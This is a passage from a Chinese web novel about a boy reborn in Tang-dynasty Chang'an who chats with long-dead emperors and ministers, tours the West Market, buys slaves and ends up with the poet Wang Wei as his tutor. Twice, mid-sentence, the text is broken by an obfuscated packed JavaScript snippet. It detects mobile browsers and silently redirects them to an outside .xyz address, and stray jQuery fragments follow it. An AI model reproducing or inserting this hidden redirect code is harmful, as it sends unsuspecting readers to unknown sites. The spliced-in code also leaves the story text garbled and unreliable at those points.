他要开蒙,他还太小没有对外交流,所以靠父母去找也是可以的。 “什么?”李瑾猛地抬起头,他的震惊不亚于看见了他阿耶跟他说自己还不认字的荒唐,“你还不识字?那……那前几日的账册,你是怎么看的?!” 他话音未落,旁边的武氏已经柳眉倒竖,毫不客气地甩过去一记凌厉的眼刀:“你管我儿怎么看的!我儿天纵奇才,自有妙法!现在昕光奴要寻师长,你还不快想办法!你堂堂一个郡王,难道连个属官都找不出来吗?” 按制,亲王府、郡王府本应设有傅、谘议参军、友、文学、东西阁祭酒等一系列属官,由吏部选派士人充任,辅佐亲王郡王,并教导子弟。 但李瑾这般荒唐模样,有点气节和前程的士人谁愿意来?王府长史这种最高属官早就托关系调任跑了,下面的属官更是有样学样,要么挂个名不来,要么早就另谋高就了。属官名额会根据王府实际情况裁撤,李瑾这河东郡王府,怕是早就被吏部默认裁撤得差不多了——毕竟前几日府中闹出那么大动静,负责护卫的亲事府、帐内府官员都没一个人露面,可见一斑。 李瑾被武氏噎得满脸通红,支支吾吾,搜肠刮肚,愣是想不起自己府上现在还有哪个拿得出手的、有学问的属官。就连他死去的爹,岐王李范在世时的旧人,他也联系不上了。 李暮看着自家阿耶这副窘迫的模样,在心里默默叹了口气。能活到现在,他这阿耶也是不容易。要不是自己是亲儿子,那天整顿家风,估计第一个被杖毙的就是他了。 但看在他阿耶平日里有好东西也想着他,他便放柔了声音,带着安抚的意味解释道:“阿耶不必为难。账目很简单,我让识字的仆人念给我听,用心记下,再与几位忠心的老仆一同核算,自然就清楚了。只是耗时久了些。儿年纪尚小,自己出去寻一位能教习字句的蒙师,想来也不难。” 他语气温和,甚至带着点哄劝,“您且宽心歇着就好,此事儿自己想办法。” 你老实呆着吧。 武氏闻言,得意地挺直了腰板,瞧瞧我的昕光奴! 李瑾被儿子这般温柔体贴地哄着,不由想起早逝的、也曾对他寄予厚望的父亲岐王,眼圈一红,竟真的落下泪来。 他儿子好像他阿耶! “你放心,昕光奴!”李瑾猛地站起来,“耶耶就是绑,也给你绑一个学问好的先生来!” 说罢,他用手背一抹眼睛,也不等李暮回应,转身就大步流星地冲了出去,背影颇有几分风萧萧兮易水寒的架势。 还想跟他商量一下他月钱以后就留十分之一的李暮:……,随他去吧,别被人打死了就行。 李暮转过头,看向母亲武氏,小脸上重新挂上那招牌式的、甜得能腻死人的温柔笑容:“阿娘,近日府中宽裕了些,您可有喜欢的东西?儿今日打算去采买些得用的仆从,可顺便为您带回。” 武氏听得心花怒放,只觉得此生从未如此舒心畅快过。 她仔细想了想,摇了摇头:“阿娘没什么特别想要的,只要我儿欢喜就好。” 然后,她就听到自家宝贝儿子用那软糯的奶音,一本正经地追问:“那儿看阿娘平日也无人陪伴解闷,阿娘喜欢什么样的男子呢?儿也好为阿娘留意一二。” 武氏:“?” 她差点被自己的口水呛到,脸颊瞬间飞起两片红云,又是好气又是好笑,嗔怪地瞪了儿子一眼:“胡闹!越说越没边了!” 李暮眨巴着无辜的大眼睛,他是真觉得他阿耶有那么多合眼缘的、会哄人开心的伴读或清客之类的,他给他阿娘也找一个,有何不可呢?左右他执掌一府,为什么要短了阿娘? 不过看阿娘这反应,他明智地没有再追问。 武氏平复了一下心情,终究不忍拂了儿子的孝心,想了想,低声道:“阿娘……喜欢看《绿腰》舞。” 《绿腰》是唐代著名的软舞,舞姿轻盈柔美,极具观赏性。 李暮是个乖孩子,尤其重视母亲的喜好。他阿娘难得明确表示喜欢什么。 “儿知道了。”他认真地点点头,“阿娘放心。” 他懂了,他阿娘喜欢会跳绿腰的男人。 他去物色物色。 8. 昕光奴长命百岁(作话有个中秋番外) 不久之后,河东郡王府的侧门驶出了一辆装饰朴素却坚固的油壁小车,由一匹温顺的蜀地矮马牵引着。听闻家中小郎君要出门,家中仆从不敢怠慢,郑阿公亲自跟随,两名健仆护卫在车旁,车前后另有七八名王府护卫骑马扈从。 大唐一百零八坊,以朱雀大街分界,又分东西两市,坊是居住居。其中最为出名的大抵是平康坊——那是他阿耶李瑾日常流连忘返之地,充斥着妩媚胡姬与才情卓绝的都知,是长安城夜生活与文人雅士交际的核心区域之一。 而唐代奴婢地位卑贱,法律上视同财产,“律比畜产”,主家拥有绝对支配权。专门的奴隶交易市场大多是在西市。 李暮便是打算去西市,小车缓缓行进,他靠在软垫上看群中聊天。 小车起初在坊间的道路上还算平稳,李暮甚至还觉得自己这带着七八名护卫的阵仗是否过于招摇。然而,当车辆缓缓驶入连接东西两市的主要干道——那条号称天街的朱雀大街时,他才真正领略到何为开元盛世的磅礴气象,也瞬间觉得自己这行人实在是过于朴素了。 李慕撩开车帘,长安大道连狭斜,青牛白马七香车。玉辇纵横过主第,金鞭络绎向侯家。①诗句中的景象活生生地在李暮眼前铺陈开来。 宽阔的街道上车水马龙,川流不息。有装饰简朴的牛车慢悠悠地踱步,更有无数装饰着金银玉饰、镶嵌着象牙贝壳、散发着浓郁香气的“七香车”招摇过市。那些显然是王侯公卿家的车驾,帘幕低垂,看不清内里,每辆这样的豪车旁,随行的鲜衣豪奴、带刀护卫少则十几,多则数十,一个个挺胸凸肚,气派非凡,将主人的权势彰显无疑。 街道两旁,店铺林立,各色旗幌迎风招展。既有经营金银器、珠宝玉石、绸缎刺绣的汉人店铺,更有大量胡商开设的货栈、酒肆和珠宝店。深目高鼻的粟特商人、卷发黝黑的昆仑奴…… 各式各样的异域面孔穿梭其间。混杂着刚出炉的胡饼炙肉香气、醇厚的酒浆味,以及皮革、染料等各种货物混杂的独特气味。 更有那身着翻领胡服、足蹬小皮靴、做男装打扮的贵族女子,骑着矫健的骏马,带着侍女护卫,扬鞭策马而过,时下风气开发,年轻的娘子着胡服出入是风尚,想出去便出去,和别的郎君喝酒踏青,哪怕流连酒肆歌楼都无妨。② 当然也有三五成群的纨绔子弟,锦衣华服,旁若无人地纵马嬉笑,引得路人纷纷避让。道旁酒肆中,隐约传来胡姬用不甚标准的官话招揽客人的声音,伴随着悦耳的琵琶与筚篥之音。甚至能听到临街的阁楼上,有文人墨客正在举行文会,吟诗作赋之声此起彼伏,时而引来一片喝彩。 李暮睁大了那双颜色稍浅的琥珀色眼睛,弯起了眉眼,小脸上写满了惊叹。他前世也是见过国庆黄金周景区人山人海场面的,此刻并不在意人多拥挤,他只是由衷地感慨这独属于大唐的风貌。 这里的每一个人,无论是贵族还是平民,胡人还是汉人,似乎都有用不完的精神,活得那般张扬肆意,快意洒脱。整个长安城,就像一团熊熊燃烧的、明亮而温暖的赤火,充满了无穷的生命力与可能性。 热闹,鲜活,活色生香。 “这就是……大唐啊。”他低声喃喃,心中涌起一种难以言喻的激动。这种海纳百川、自信开放的胸襟气度,是他从未在任何书本或影视作品中感受过的。 他心念一动,悄悄开启了群直播功能,将眼前这流动的、滚烫的人间声色,毫无保留地分享给光幕另一端的祖宗们。 他们,一定也会想念这大唐吧! 【群聊:壮哉大唐】(直播中) 【孤篇封神张若虚】:此景依稀,恍如昨日。这车水马龙,这万户千门…… 【滕王阁序王勃】:闾阎扑地,钟鸣鼎食之家;舸舰迷津,青雀黄龙之舳!虽无赣水,然长安之盛,犹有过之! 【日月临空】:是大唐啊……朕,有多少年未曾亲眼见过这般模样的长安了…… 【三板斧程魔王】:直娘贼!真热闹!比俺老程当年在长安时还热闹!看得俺都想再去喝他三百碗!昕光奴,一会儿买个胡饼儿,西边的胡饼才地道,多加肉!最好是取一斤肥瘦相间的上好羊羔肉,细细剁碎,用胡椒、豆豉、葱白拌了,一层层铺在那脸盆大的胡饼上,撒足胡麻,贴入馕坑烤得外酥里嫩,哎呦喂,那滋味,香的能让人把舌头一起吞下去! 【太原公子(群主)】:哈哈哈!知节所言极是!还要加多多的胡麻!香得很!可惜昕光奴你还小,再大些,便能饮酒了,到时候佐着西域进贡的琥珀色葡萄酒,那才叫甚美! 【门神敬德打铁】:佐咱们关中的西凤酒也好!烈酒配豪肉,方是真英雄本色啊! 【房谋】:偶尔吃吃冷淘也不错。 …… 李暮看着光幕上滚动的、带着激动与怀念的言辞,自己也仿佛被这种情绪感染。 他靠在窗边,托着腮,望着窗外摩肩接踵的人流,发出了最质朴却也最真切的感叹: “好热闹啊。” 这简单的一句话,却仿佛道尽了这盛世的精髓,那是一种充盈到几乎要溢出来的、蓬勃的生命力。 光幕那端,一些感性的大臣包括李世民看着这熟悉而又隔了时空的、梦中才会出现的繁华景象,竟也忍不住有些眼眶湿润,心中百感交集。就连一向以刚直著称的魏征,也微微侧过头,不忍再看,只怕勾起太多往事。 大唐,大唐。这曾经他们为之奋斗、为之殚精竭虑的盛世安乐,纵然身死魂存,再见之时,依旧能让人心潮澎湃,与有荣焉。 只是,世间好物不坚牢,琉璃易碎彩云散。 群中人想起李暮预言的未来,眉宇间总有一抹轻愁。而始作俑者李暮要人给他买了份胡饼和一份小米粥。虽然只有少量羊肉末,但李小暮啃的很香。 又啊呜咬了一口,面饼焦香酥脆,羊肉羼子咸香可口,虽然肉末不多,但混合着胡椒和胡麻的香气,已然是无上美味。李小暮啃得摇头晃脑,眉眼弯弯,腮帮子塞得鼓鼓囊囊。 他爱吃! 他迫不及待地发了条语音给程咬金,声音含糊却兴奋:“程公!程公!除了胡饼,哪家酒肆的三勒浆最醇厚?哪家的驼蹄羹最鲜美?还有没有别的更好吃的?您快跟我说说!” 那头的程咬金听得哈哈大笑,声如洪钟,他就喜欢这孩子不扭捏、真性情的劲儿!于是立刻如数家珍,从西市的烧鹅讲到东市的糖渍樱桃,从道政坊的巨锅羊肉羹讲到常乐坊的樱桃毕罗,恨不得把整个长安的美食地图都给李暮塞进脑子里。 李暮听得两眼放光,竟然真的从他让侍女特制的,类似蹀躞袋的皮质小包里掏出小本子和炭笔,像模像样地记录起来,那认真的小模样,比平日听房玄龄教学还要专注几分! 这番作态,终于引得魏征看不下去了,出来发言,语气带着一贯的严肃: 【人镜魏征】:郎君!怎可如此贪恋口腹之欲!君子当修身养性,俭以养德! 李暮正记到“颁政坊的馄饨铺,羊肉汤底需熬煮一夜”的关键处,闻言笔尖一顿,抬起头,对着光幕,小脸上一片理直气壮的澄澈,也用语音回道: “魏公,我为什么不能贪口腹之欲?人生在世,不过短短三万余日,我将来或许会对不起很多人,甚至可能在某些时候对不起自己的本心。但唯独不能对不起自己的嘴和肚子!我又不是那庙里泥塑木雕、不食烟火的神像,我爱吃,爱这世间一切美好的声色,有何不可?我的欲望,一未偷,二未抢,三未害人,法度未曾禁止,情理亦能容之,有何不对?” 他这番歪理,说得又快又清脆,竟让以直言敢谏著称的魏征一时语塞。 镜头的另一边,李世民看着魏征那难得吃瘪的样子,忍不住抚掌大笑,对着魏征调侃道:“羊鼻公,你不也私下甚喜食醋芹?每每见之,喜形于色。缘何到了昕光奴这里,便不许他享受些声色之娱呢?” 他顿了顿,收起笑容,轻声道:“法无禁止即可为。朕看,甚好!” 在场众臣皆笑。 他们之所以如此喜爱李暮,一方面固然是因这孩子天资聪颖,行事既有章法又不失仁义,平日里插科打诨也极有意思;但更深层次的原因,是他们想倾尽所有,培养出一个万古明君,好让他们深深热爱的大唐江山,能够避开劫难,国祚绵延,传至万世。他们从李暮身上,看到了那种兼容并包、鲜活蓬勃的生机,看到了年少时李世民的影子,也看到了大唐未来的希望。 只是,这个孩子还未有吞吐天下的志向。 那边,李暮怼完了魏征,心情更佳,又开始兴致勃勃地探索其他好吃的。一路上,他的小手和嘴巴就没停过,一会儿买串糖渍果子,一会儿又被路旁胡商摊位上的瑟瑟石吸引了目光,对那色彩斑斓的琉璃器皿和异域香料也充满了好奇…… 他就像一个掉进米缸的小老鼠,快活地徜徉在这盛世的繁华里,爱尽世间一切鲜活、美好、有趣的事物。 群里的众人,也被他的快乐感染,七嘴八舌地帮他参考,这个说那家珠宝店的玉石成色好,那个说某种香料用来熏衣最佳……一来二去,气氛愈发熟络欢快,仿佛真的隔着时空,一同逛起了这开元盛世的长安西市。 李暮看着光幕上热闹的讨论,忽然灵机一动,说道:“我要给你们每个人都定做一个漂亮的小匣子,把你们挑中的、喜欢的东西都放进去。以后……等我死了,就把这个匣子随我一起带进去。这样,我们就算在下面,也能一起玩赏了!” 小孩子冲着天上的光屏笑得无比灿烂纯粹,琥珀色的眼睛里没有丝毫对死亡的恐惧,只有对这群跨越时空友人的真挚喜爱。 群中的人们,无论是帝王将相还是才子佳人,看着这孩子气却又无比赤诚的话语,心中最柔软的地方都被触动了。他们纷纷露出温和的笑意,语气带着宠溺与一丝不易察觉的酸楚: “傻孩子,胡说什么!” “昕光奴定要长命百岁!” “什么死啊活的,童言无忌,大风吹去!” …… 什么死不死,你这孩子,要活得长长久久,看遍这盛世繁华,守护这万里江山才对啊。 李世民看着光幕中李暮那纯真的笑脸,听着群臣们带着疼惜的呵斥,忍不住抬手,用指节轻轻揉了揉有些发酸的鼻梁和眼角,心中感怀。 就在这时,他手中的手机突然“叮”的一声轻响,一条好友消息弹了出来。他定睛一看,发信人ID是【糟心的武氏婆娘】,内容更是让他瞬间黑了脸: 【糟心的武氏婆娘】:太宗陛下,昕光奴母系乃我武氏,身上还留着朕的血脉,论起来,也该由朕来教导才是!您老人家还是歇歇吧! 李世民想都没想,直接干脆利落地将【糟心的武氏婆娘】拉入了黑名单。让你来教昕光奴?把他好好的麒麟儿教成你那武周的样子?他李世民除非是疯了! 那头武则天看着发送失败的系统提示,非但不恼,反而得意洋洋地轻哼了一声,对身旁的女儿太平公主道:“瞧见没?太宗陛下还得意呢,估计打死他也想不到,朕早就是昕光奴的好友了,关系还挺不错。” 她凤眸微眯,闪过一抹精光,纤长的手指轻轻敲击着凤座扶手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484882|185692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,沉吟道:“既然李三郎不成器,这昕光奴又是我武家血脉,聪慧仁孝,更应继承大统。来日此子若能入继大统,以其纯孝之心,感念母族,改姓武……也未尝不可啊。” 她越说越觉得此事大有可为,立刻点开狄仁杰的头像,准备召集一批武周时期的能臣干吏,好好筹划一番,务必要将这孩子争取过来,悉心教导。 旁边的太平公主看着自己母亲那兴致勃勃、仿佛找到新玩具的样子,忍不住抬手揉了揉额角,心中暗道:我的亲娘诶,您怕是还不知道,昕光奴那小家伙是个天生的社交积极分子,他谁的群都加,谁的好友都通过,上次还跟平阳昭姑祖母烧了个精美的鞠球过去,一起讨论马球战术呢!更何况……那只看着纯良、实则心思剔透、手段老练的小狐狸头,他真的……还需要别人来“教”吗?怕是只有他算计别人,没有别人算计他的份吧! 西边边缘奴市到了。 市场内人声鼎沸,喧嚣程度不亚于主市。 要售卖的奴隶有身材健壮的男子,有面容姣好的少女妇人,更有许多比李暮大三四岁的孩童。 人牙子们站在高处或摊位前,用带着各地方言的口音高声吆喝,唾沫横飞地吹嘘着“货物”的健壮、伶俐、温顺或某种特殊技艺。买主们则大多是各家管事或中小地主模样,他们熟练地捏捏“货物”的胳膊腿脚,查看肌肉骨骼,掰开嘴巴看看牙口。唐代蓄奴之风极盛,官奴和因债务、贫困自愿或被迫卖身私奴的市场皆是合法存在。 李暮微微吸了口气,压下心头那一丝来自现代灵魂的不适。但他深知,在这个时代,这是常态,甚至他自己都需要养奴。 个人的怜悯无法改变整个社会制度。 李暮迅速收敛心神,那双清澈的眸子变得冷静。他转身,对紧随身旁的郑阿公和护卫头领李忠吩咐道:“郑翁翁,李忠,取我带来的钱帛。去寻几个口碑尚可、手中货源足的人牙,为我挑选仆从。我要健壮男子两百人,需会使刀或有力气、背景清白者,匠户也可。健壮妇人五十人,要手脚麻利、能操持杂役的。此外,再寻三十名善舞《绿腰》者,跳《胡腾》的胡人舞者也要五人。”他顿了顿,补充道,“仔细查验,宁可慢些,也要稳妥。” 舞者方面,他不知母亲具体偏好哪种风格,《绿腰》是中原柔美软舞,《胡腾》是胡人健舞,两种都会,总能让母亲展颜吧。 来了这样一位年纪虽小、口气却不小、而且明显是权贵之家出身的主顾,附近几个人牙子立刻像闻到腥味的鲨鱼般围了上来,满脸堆笑,点头哈腰,谄媚之情溢于言表。即使李暮不怎么开口,他身后那些眼神锐利、身形彪悍的护卫,都明确无误地昭示着他非同一般的身份。 李暮并不亲自去挑那些健仆和舞者,他只提出明确要求,让经验丰富的郑阿公和谨慎的李忠去具体操办、把关。他的主要注意力,更多地放在了那些被圈在一起、如同待售幼兽般的孩童和少年身上。他需要培养真正属于自己的班底,从小培养起来的忠诚度最高,可塑性也最强。 于是他迈着小短腿,在一个个关押着年幼奴仆的木栅栏或绳圈前驻足。他脸上带着恰到好处的温和笑容,询问着那些惶恐不安的孩子: “你叫什么名字?” “几岁了?” “认得字吗?会数数吗?” “从前在家里都做些什么?” “从哪里来的呀?” 在这年头,被贩卖的孩童来源复杂。有些是家中佃户或贫民,遇上天灾人祸活不下去,被父母含泪卖掉的;有些是小商贩破产,子女被拿来抵债;更有不少是官宦人家获罪如谋逆、贪腐、党争失败后,家眷被籍没入官奴的。那些曾经的官家小姐、公子,此刻也与贫家子无异,甚至因为巨大的生活落差而更加惊惧茫然。 当然也有个别年纪稍大些、性子烈、尚记得昔日荣光的,眼神中带着不甘与倔强,紧抿着嘴唇,不肯言语。 李暮大多只是平静地看着,温和地问着。他挑选的标准并非全然出于怜悯,更看重眼神是否尚有灵性未泯,反应是否机敏,回答问题是否清晰,以及……骨子里是否有一种不易折断的韧性。对于那些骄横无礼、眼神浑浊麻木或过于怯懦、问十句答不出一句的,他并不会多看一眼。 众生皆苦,他知道。可他济不了,所以他会克制。 李暮的态度始终和煦,哪怕身边跟着凶神恶煞的护卫和人牙子,他本身那种明媚开朗的气质,也多少减轻了这些孩童的恐惧。 很快,李暮身边就或站或蹲了三十多个懵懂惶恐、面黄肌瘦、但眼神相对清亮的孩童,年龄从五六岁到十二三岁不等。几名识字的仆从忙着在一旁登记造册,郑阿公安排好的几辆临时雇来的棚车也已到位,准备将这些被选中的孩子先分批送回王府安置,自有仆妇会负责他们初步的清洗、检查和照料。 就在这片忙乱之中,李暮的目光越过人群,落在了市场最偏僻的一个角落。 那里,一个约莫二十岁的年轻人独自坐着。他衣衫破烂不堪,几乎难以蔽体,骨瘦如柴,裸露的皮肤上带着新旧交叠的伤痕,他垂着头,但脊背却异乎寻常地挺得笔直,像一株被狂风暴雨摧折却仍未完全断裂的枯树。他的身边,偎依着一个气息奄奄的妇人,显然是病的极重。 周遭有人好奇张望,但一听人牙子没好气地报出巂州都督张审素之子张笙的名头,便都像避瘟疫一样迅速散开了。罪臣之后,胡人血统,还带着个快死的累赘,性子又烈得像狼,谁敢沾手? 李暮站定,向着那个方向走去。 这个人,长得很漂亮!可能会跳绿腰! 9. 师父在上,受徒儿一拜 李暮小小的身影在污浊的市场中站定,目光落在角落那对母子身上。群直播并未关闭,此刻市场内的景象自然也落入了群友眼中。 【群聊:壮哉大唐】(直播中) 【三板斧程魔王】:嘿!这犄角旮旯里还猫着俩?哟,那小子眼神够凶!昕光奴定是要买他了。 【门神敬德打铁】:骨架子不错,是个当兵的好料子,就是太瘦了些,得多吃肉! 【人镜魏征】:观其形态,似有冤屈?不过贸然收容罪臣之后,恐惹非议,需谨慎行事。 【日月临空】:罪臣之后又如何?能用则用。若真是人才,埋没于此才是可惜。朕看此子眉宇间有股韧劲,倒比许多软骨头强。 【救时宰相姚崇】:巂州都督张审素……老夫似有印象,是一员悍将,可惜了。其子沦落至此,若殿下能施以援手,确易收服。 【杜断】:然其母病重,耗费必多,且其性刚烈,需恩威并施,方能驾驭。 【徐茂公算死你】:此乃以小博大!些许银钱汤药,若能换得一员潜在的死士悍将,这买卖划算得很啊!买了才不亏。 【房谋】:茂公所言极是。不过,还需考量其案底是否已彻底了结,莫要引火烧身。 …… 李暮确实想买。至于魏征说的非议…… 【昕光奴】:我家有我阿耶,最不怕有非议。他的荒唐事够写满三个卷轴了,不差我这一件。 众人:……,就知道你想买。 李暮透露一点意图,无需他多言,机警的郑阿公已打探清楚,微微躬身,低声道:“郎君,老奴方才去打探清楚了。约莫是四年前,巂州都督张审素被其麾下官员诬告谋反,当时负责查办此案的监察御史杨汪……手段酷烈,张都督最终被定案处斩,家产抄没,家中成年子女皆被判没入官衙为奴。墙角那个,就是张审素的儿子,据说其生母是胡女,名叫张笙。按律,他当时年纪尚幼,又没被张家承认,本不该同罪为奴,怕是……后来又得罪了什么人,才落到这步田地。他死活要带着病重的老娘,性子又烈得像头狼,之前有买主想强行带走他,还被他用碎瓷片划伤了胳膊,所以一直搁置在这儿,无人敢要。” 李暮听着,粉雕玉琢的小脸上没什么表情,只是轻轻点了点头。 连罪臣都算不上的罪臣还身负胡人血统,拖带着一个奄奄一病的母亲,性子还如此刚烈不屈——这些因素叠加在一起,在寻常买主眼中,无疑是天大的麻烦。 这年头,买奴仆回去是为了伺候主家、干活出力的,谁愿意凭空多个需要耗费银钱汤药去医治的累赘?更何况,张审素的案子牵扯谋反,虽已过去几年,但终究是圣人钦定的铁案,谁敢轻易沾染,平白惹上一身腥臊? 放眼整个长安,恐怕除了李暮这样身份特殊、既有郡王府背景,身上又自带他阿耶荒唐光环的,也没人敢、也没人愿意买下张笙了。 李暮唇角微勾,其实名声坏也没有什么坏处不是,至于他干什么事,全都可以推给他阿耶——“都是随了耶耶!” 有人背锅的感觉,真爽! 于是,李暮不顾郑阿翁“郎君,此人伤过人!”的紧张劝阻,径直走到张笙面前。 那人牙子见这位衣着华贵、气度不凡的小郎君竟真的对这瘟神感兴趣,忙不迭地迎上来,脸上堆着谄笑,却又忍不住先告罪,试图撇清干系:“小贵人,您眼光独到!只是……只是这奴性子实在劣得很,伤过主家,您金尊玉贵的,万一……” 李暮摆了摆小手,示意他闭嘴,人已站定在张笙面前。他年纪小,身量矮,即便张笙是蜷缩跪坐在地,他也比对方高不了多少。但他就那样站着,微微低头看着张笙,身上自然流露出一股不容置疑的威仪。他伸出小手,精准地捏住了张笙那布满污垢和细微伤痕的下巴,稍稍用力,迫使他抬起头来。 四目相对。 张笙过于昳丽的容貌落入眼中。浓烈秾华。在这般任人宰割的绝境中,过于出色的容貌,往往意味着更多的屈辱与灾难。 但是,长的真的很好看啊。 李暮心中客观地评价着,怪不得性子烈也有人问津,这做护卫,带出去很有面子,震慑力也足,关键是——养眼! 他喜欢漂亮的东西,这个少年像蒙尘的宝石一样,他喜欢,想捡回去擦干净。 于是,他的另一只小手从腰间一个绣着瑞兽纹样的精致小荷包里,掏出一颗用糯米纸包裹着、色泽晶莹如琥珀的饴糖。这是他让府里厨下新制的,加了蜂蜜和果汁,甜而不腻。他将这颗从未见过的、宛如宝石般的糖果,径直递到了张笙那干裂出血丝的唇边。“请你吃的!” 他笑容明媚如春阳,与这阴暗的市场格格不入。“我欲买下你,连同你阿娘。你愿不愿意?” 张笙的目光在那颗从未见过的、宝石般的糖上停留了一瞬,喉结滚动,却并未张口。他用尽力气,嘶哑地挤出几个字,“我母……在这里。” 这是他最后的底线。他的母亲失去他,会死去。 “当然。”李暮答得毫不犹豫,“你跟了我,你的阿娘自然就是我的人了,我会请最好的医工为她诊治。” 谁家好人买剑不买鞘!他李暮才不傻!他要的,是一个完整的、能发挥出最大效用的“工具”,而不是一个心怀怨恨、随时可能反噬的残缺品。 张笙深深地看了李暮一眼,那眼神复杂难辨,有怀疑,最后微微张开了干裂的唇。 李暮顺势将那颗饴糖塞进了他的嘴里。 张笙张口,咽下了李暮的糖,他以为是毒药,但是入口却是甜的。 李暮看着他怔忡的样子,笑了起来,伸出小手,像安抚小动物般,揉了揉他沾满灰尘、纠结凌乱的头发,语气带着一种近乎宠溺的意味,道了声:“乖孩子。” 然后,他利落地转身,直接对旁边目瞪口呆的人牙子吩咐道:“立契。这个人,还有他母亲,我都要了。” 签字,画押,付钱。 李暮甚至额外从钱袋里抓出了一小把开元通宝,塞给人牙子,不容置疑地命令:“立刻去请附近最好的医者来,先给他母亲看诊,用些好药。再送到我府,人若有闪失,我唯你是问。” 整个过程行云流水,干脆利落,没有丝毫拖泥带水,看得周围一些留意这边动静的人都瞠目结舌,心中暗惊这小郎君绝非寻常人物。 做完这一切,李暮仿佛只是做了一件微不足道的小事,拢了拢自己那身湖蓝色小绫袍的袖子,看也没再看张笙一眼,转身便步履平稳地走向自己的小车,只留下一句清淡的吩咐:“你随我走吧。” 半途,李暮忽然撩起车帘,就看见那个原本死气沉沉的年轻人,一步一步,极其艰难跟在李暮车后面。他抬起头,恰好对上李暮的目光。 那一刻,张笙那双死寂的眸子里,仿佛有火星迸溅,执拗和狠劲一览无余。但他努力想挤出一个表示友好的笑容,却因长久的面无表情而显得有些扭曲怪异。 李暮以前见过不少血肉模糊的场景,没觉得可怖,反而觉得他很不安,自然地回了他一个笑容“阿笙,你会跳绿腰吗?” 张笙一怔,然后忍不住想起糖的味道,“会的!会的!我阿娘也会!她最擅舞!” 他似乎生怕李暮因此反悔,不要他们了。 李暮心满意足地放下车帘。 好耶!既可以当护卫还可以跳舞解闷,长得又好看,买一送一,他真棒!这波血赚! 【昕光奴】:嘿嘿,过段时间,我们一起去阿娘那里看绿腰。 群内画风又是一变。原本是夸奖的,现在全都是我就知道。 【群聊:壮哉大唐】 【三板斧程魔王】:噗——!娃儿你买这个人难不成是真为了看绿腰!老程还以为是看中他能打呢! 【日月临空】:昕光奴倒是懂得寻些乐趣,此子长得确实不错。 【门神敬德打铁】:依昕光奴的性子,就是啊!@李治不理智 【无忌拦不住】:若依陛下平日的思考方式,郎君估计就是想看漂亮人跳舞! 【太原公子(群主)】:胡说!朕的昕光奴定然是故意用此轻松话题,化解那小子心中的不安与尴尬!!!朕当年也是如此体恤臣下的!!! …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484883|185692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【人镜魏征】:……,我信你个鬼。 【昕光奴】:其实原来是想找护卫,后来他长得好看,我就想捞一下,他还会跳舞,诸位,我赚了。呜吼吼。@太原公子祖宗,我没啊,我就问问。 【太原公子(群主)】:……(太宗陛下不想说话并向你扔了一个名为“失望”的小眼神) 李暮跟祖宗们聊天,笑意盈盈踏进前院,就见他那位不靠谱的阿耶李瑾,正带着几个仆从,簇拥着一个被五花大绑、堵住了嘴的人过来。李瑾脸上带着一种混合着得意与“快夸我”的神情,冲着李暮大声道:“昕光奴!快来!阿耶给你把先生请来了!见过你先生!” 李暮在心里“我艹”一声,连忙察看被绑着的那人情况。 那人即便是在如此狼狈的境地,也难掩其卓然风姿。但见他约莫三十出头年纪,身着一袭略显陈旧的月白色圆领襕衫,虽被绳索束缚,依旧脊背挺直,妙年洁白,风姿郁美。 整一个冷白皮的忧郁大美人! 尤其是那轻轻蹙起的眉头,带着一种莫名的宁静感,仿佛能将周遭的喧嚣都隔绝开来。 口中还被塞了布团,只能发出模糊的呜咽,但那双清澈眼眸里的怒火几乎要喷薄而出,烧死李瑾这个混账。估计是被强抢过来的。 太惨了!他阿耶太残暴了!这是请先生还是抢压寨夫人啊! 李暮心里嘀咕,他阿耶个大聪明,面子上却是连连告罪,把人口中的布条扯出来。 刚扯出来,就听大美人一声怒吼,“李瑾!你竟敢当街抢人,快放开我!” 李暮忙让人给大美人松绑,奉上香茗,还拼命给李瑾使眼色让他来赔个不是。 李瑾却浑不在意,反而哈哈大笑起来, 李瑾却浑不在意,反而哈哈大笑起来,很明显他与这美人相识。 他直接向李暮介绍道,语气带着几分炫耀:“昕光奴,我今天不去给你找先生吗?随后就去了平康坊,你猜怎么着?我在大道上看见了他,他可是你阿翁当年的旧识,学问好得很!教你开蒙读书,那是绰绰有余了,我一个性起,把他给你捉回来了!” 李瑾扬扬得意。“昕光奴,怎么样?耶耶好不好?” 李暮如同被一道九天惊雷劈中,整个人都僵在了原地。 我的好爹,当街捉人?金吾卫没戳死你吗? 【群聊:壮哉大唐】 【太原公子(群主)】:岂有此理!混账东西!当街抢掠良家……良家妇男!我李氏皇族的脸都要被这竖子丢尽了!气煞朕也! 【佛系皇帝李旦】:你来瞧瞧旧相识,范儿! 【岐王李范】:我的旧识?我瞧瞧! 【岐王李范】:李瑾,你个混小子!是王摩诘!你你你……你竟如此粗鲁!快给老夫放开他! 【太原公子(群主)】:此人是谁?可作我昕光奴蒙师? 【岐王李范】:确是孙儿旧相识,名唤王维,字摩诘。打小就聪明得紧,诗书画乐,无一不精,学问好得很!就是这人的性格可能不符合您对昕光奴的期待。 【太原公子(群主)】:无妨,先打基础。@房谋房卿,你与岐王细谈,评估此人。 【房谋】:臣遵旨。@岐王李范岐王殿下,私聊。 …… 李暮看着群中王维两个字,像是空降馅饼精准地砸进了他嘴里,差点没把他噎着。 王维?王摩诘?! 